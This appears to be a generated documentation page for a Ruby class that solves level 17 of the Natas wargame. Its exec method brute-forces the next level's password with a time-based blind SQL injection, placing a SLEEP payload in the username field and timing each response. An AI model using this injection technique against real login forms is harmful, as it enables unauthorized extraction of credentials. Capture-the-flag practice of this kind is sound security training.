class NatasLevel17

Level 17

Constants

DICT
INTERVAL
LEVEL
PAGE

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 529
def exec
  password = String.new
  log('Bruteforcing password')
  PASSWORD_LENGTH.times do
    DICT.each do |c|
      payload = %(natas18" AND password LIKE BINARY "#{password}#{c}%" AND SLEEP(#{INTERVAL}) #)
      time = Time.now
      post(
        PAGE,
        {},
        { 'username' => payload }
      )
      if Time.now - time >= INTERVAL
        log(password << c)
        break
      end
    end
  end

  not_found if password.length != PASSWORD_LENGTH
  found(password)
end